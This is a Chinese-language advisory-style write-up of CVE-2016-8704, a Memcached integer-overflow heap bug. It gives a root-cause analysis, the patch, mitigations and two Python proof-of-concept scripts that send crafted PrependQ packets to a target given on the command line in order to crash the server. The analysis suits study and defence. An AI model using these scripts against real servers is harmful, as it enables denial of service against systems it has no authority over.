一、漏洞简介¶
1.1 漏洞背景¶
2016 年 10 月,Cisco Talos 安全团队披露了 Memcached 中的多个整数溢出漏洞。CVE-2016-8704 位于 process_bin_append_prepend 函数中,该函数负责处理 Memcached 二进制协议的 Append 和 Prepend 操作。通过精心构造的请求,攻击者可以触发整数溢出,导致堆溢出,最终实现远程代码执行。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2016-8704 |
| 危害等级 | CRITICAL / 9.8 |
| 漏洞类型 | 整数溢出漏洞 |
| 披露时间 | 2017-01-06 |
| 影响组件 | Memcached 安全 |
| 属性 | 描述 |
|---|---|
| CVE编号 | CVE-2016-8704 |
| 危害等级 | 严重 |
| CVSS评分 | 9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| 漏洞类型 | 整数溢出导致堆溢出 |
| CWE编号 | CWE-190 (Integer Overflow or Wraparound) |
| 影响组件 | process_bin_append_prepend 函数 |
补充核验信息:公开时间:2017-01-06;NVD 评分:9.8(CRITICAL);CWE:CWE-190。
二、影响范围¶
2.1 受影响的版本¶
- Memcached 1.4.31 及更早版本
2.2 不受影响的版本¶
- Memcached 1.4.32 及更高版本
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- Memcached 服务启用了二进制协议支持(默认启用)
- 攻击者能够直接连接 Memcached 服务
- 使用特定的 Append/Prepend 操作码:
- Append (opcode 0x0e)
- Prepend (opcode 0x0f)
- AppendQ (opcode 0x19)
- PrependQ (opcode 0x1a)
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
漏洞发生在计算值长度(vlen)时的整数溢出:
// memcached.c - process_bin_append_prepend 函数
static void process_bin_append_prepend(conn *c) {
char *key;
int nkey;
int vlen; // [1] 有符号整数
item *it;
key = binary_get_key(c);
nkey = c->binary_header.request.keylen; // [2] keylen 是无符号的
vlen = c->binary_header.request.bodylen - nkey; // [3] 整数溢出点
// ...
it = item_alloc(key, nkey, 0, 0, vlen+2); // [4] 使用溢出的 vlen
}
溢出原理:
- bodylen 是 32 位无符号整数(来自网络)
- nkey 是有符号整数
- 当 bodylen < nkey 时,vlen 变为负数
- 负数在内存分配时被解释为一个很小的正数
3.2 源码层面的根因分析(结合源码与补丁对比)¶
漏洞代码路径:
// memcached.c - dispatch_bin_command
case PROTOCOL_BINARY_CMD_APPEND:
case PROTOCOL_BINARY_CMD_PREPEND:
if (keylen > 0 && extlen == 0) {
bin_read_key(c, bin_reading_set_header, 0);
} else {
protocol_error = 1;
}
break;
// 注意:这里没有对 bodylen 进行边界检查!
item_alloc 调用链:
// items.c - do_item_alloc
item *do_item_alloc(char *key, const size_t nkey,
unsigned int flags, rel_time_t exptime, int nbytes) {
// ...
size_t ntotal = item_make_header(nkey + 1, flags, nbytes,
suffix, &nsuffix); // [1]
it = slabs_alloc(ntotal, id, &total_bytes, 0); // [2]
// ...
memcpy(ITEM_key(it), key, nkey); // [3] 堆溢出点!
}
溢出过程:
1. [1] 中 nbytes(来自溢出的 vlen)可能是负数
2. [2] 中 ntotal 计算结果很小,分配了很小的缓冲区
3. [3] 中 memcpy 使用原始的 nkey 长度拷贝数据,导致堆溢出
补丁对比:
// 修复补丁
static void process_bin_append_prepend(conn *c) {
char *key;
int nkey;
int vlen;
item *it;
assert(c != NULL);
key = binary_get_key(c);
nkey = c->binary_header.request.keylen;
vlen = c->binary_header.request.bodylen - nkey;
+ if (vlen < 0) { // 添加边界检查
+ write_bin_error(c, PROTOCOL_BINARY_RESPONSE_EINVAL, NULL, 0);
+ return;
+ }
+
if (settings.verbose > 1) {
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 下载受影响版本
wget http://www.memcached.org/files/memcached-1.4.31.tar.gz
tar xzf memcached-1.4.31.tar.gz
cd memcached-1.4.31
# 编译
./configure
make
# 启动服务
./memcached -d -p 11211
# 验证版本
echo "version" | nc localhost 11211
4.2 PoC 演示与测试过程¶
Python PoC:
#!/usr/bin/env python3
"""
CVE-2016-8704 PoC
Memcached process_bin_append_prepend Integer Overflow
"""
import struct
import socket
import sys
def build_malicious_packet():
# Memcached 二进制协议头部
MEMCACHED_REQUEST_MAGIC = b"\x80"
OPCODE_PREPEND_Q = b"\x1a" # PrependQ 操作码
# 关键:key_len (0xfa) > body_len (0)
key_len = struct.pack("!H", 0xfa) # 250 字节 key
extra_len = b"\x00"
data_type = b"\x00"
vbucket = b"\x00\x00"
body_len = struct.pack("!I", 0) # body 长度为 0
opaque = struct.pack("!I", 0)
CAS = struct.pack("!Q", 0)
# 构造完整的数据包
packet = (MEMCACHED_REQUEST_MAGIC + OPCODE_PREPEND_Q +
key_len + extra_len + data_type + vbucket +
body_len + opaque + CAS)
# 添加填充数据
body = b"A" * 1024
packet += body
return packet
def exploit(target_ip, target_port=11211):
print(f"[*] CVE-2016-8704 PoC")
print(f"[*] Target: {target_ip}:{target_port}")
# 构造恶意包
packet = build_malicious_packet()
print(f"[*] Packet size: {len(packet)} bytes")
# 连接并发送
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((target_ip, target_port))
sock.send(packet)
response = sock.recv(1024)
print(f"[*] Response received: {len(response)} bytes")
sock.close()
print("[*] Packet sent. Check server for crash/instability.")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_ip> [port]")
sys.exit(1)
port = int(sys.argv[2]) if len(sys.argv) > 2 else 11211
exploit(sys.argv[1], port)
完整崩溃 PoC:
#!/usr/bin/env python3
"""
CVE-2016-8704 Complete Crash PoC
Triggers SIGSEGV in assoc_find
"""
import struct
import socket
import sys
def create_prepend_packet():
"""创建触发整数溢出的 PrependQ 包"""
magic = b"\x80"
opcode = b"\x1a" # PrependQ
key_len = struct.pack("!H", 0xfa)
extra_len = b"\x00"
data_type = b"\x00"
vbucket = b"\x00\x00"
body_len = struct.pack("!I", 0) # 触发溢出的关键
opaque = struct.pack("!I", 0)
cas = struct.pack("!Q", 0)
body = b"A" * 1024
return magic + opcode + key_len + extra_len + data_type + \
vbucket + body_len + opaque + cas + body
def main():
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <server> <port>")
sys.exit(1)
server = sys.argv[1]
port = int(sys.argv[2])
# 步骤 1: 创建一个正常的项目
print("[*] Step 1: Creating test key...")
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((server, port))
s1.send(b"set testkey 0 60 4\r\ntest\r\n")
print(f" Response: {s1.recv(1024)}")
s1.close()
# 步骤 2: 发送溢出包
print("[*] Step 2: Sending overflow packet...")
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((server, port))
s2.send(create_prepend_packet())
try:
print(f" Response: {s2.recv(1024)}")
except:
print(" No response (server crashed?)")
s2.close()
# 步骤 3: 尝试读取触发崩溃
print("[*] Step 3: Triggering crash by reading corrupted key...")
try:
s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s3.settimeout(5)
s3.connect((server, port))
s3.send(b"get testkey\r\n")
s3.recv(1024)
s3.close()
except Exception as e:
print(f"[*] Connection error: {e}")
print("[+] Server likely crashed!")
if __name__ == "__main__":
main()
使用 Valgrind 检测:
# 在 valgrind 下运行以检测内存错误
valgrind --tool=memcheck ./memcached -p 11211 -u root
# 发送 PoC 后观察输出
# 预期看到 "Invalid write of size 4" 错误
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
立即升级到 Memcached 1.4.32 或更高版本
# 下载最新版本
wget http://www.memcached.org/files/memcached-1.4.32.tar.gz
# 编译安装
tar xzf memcached-1.4.32.tar.gz
cd memcached-1.4.32
./configure && make && make install
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
方案一:限制网络访问
# 仅允许受信任的主机访问
iptables -A INPUT -p tcp --dport 11211 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 11211 -j DROP
方案二:禁用二进制协议
# 注意:这会影响某些客户端功能
# Memcached 默认同时支持 ASCII 和二进制协议
# 无法单独禁用二进制协议,需要依赖网络隔离
方案三:应用补丁(如无法升级)
# 手动应用安全补丁到 1.4.31
# 修改 memcached.c 中的 process_bin_append_prepend 函数
# 在 vlen 计算后添加边界检查
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- Cisco Talos TALOS-2016-0219: http://www.talosintelligence.com/reports/TALOS-2016-0219/
- NVD CVE-2016-8704: https://nvd.nist.gov/vuln/detail/CVE-2016-8704
- Red Hat RHSA-2016-2819: http://rhn.redhat.com/errata/RHSA-2016-2819.html
6.2 其他技术参考资料¶
- Debian DSA-3704: http://www.debian.org/security/2016/dsa-3704
- Gentoo GLSA-201701-12: https://security.gentoo.org/glsa/201701-12
- Memcached Release Notes 1.4.32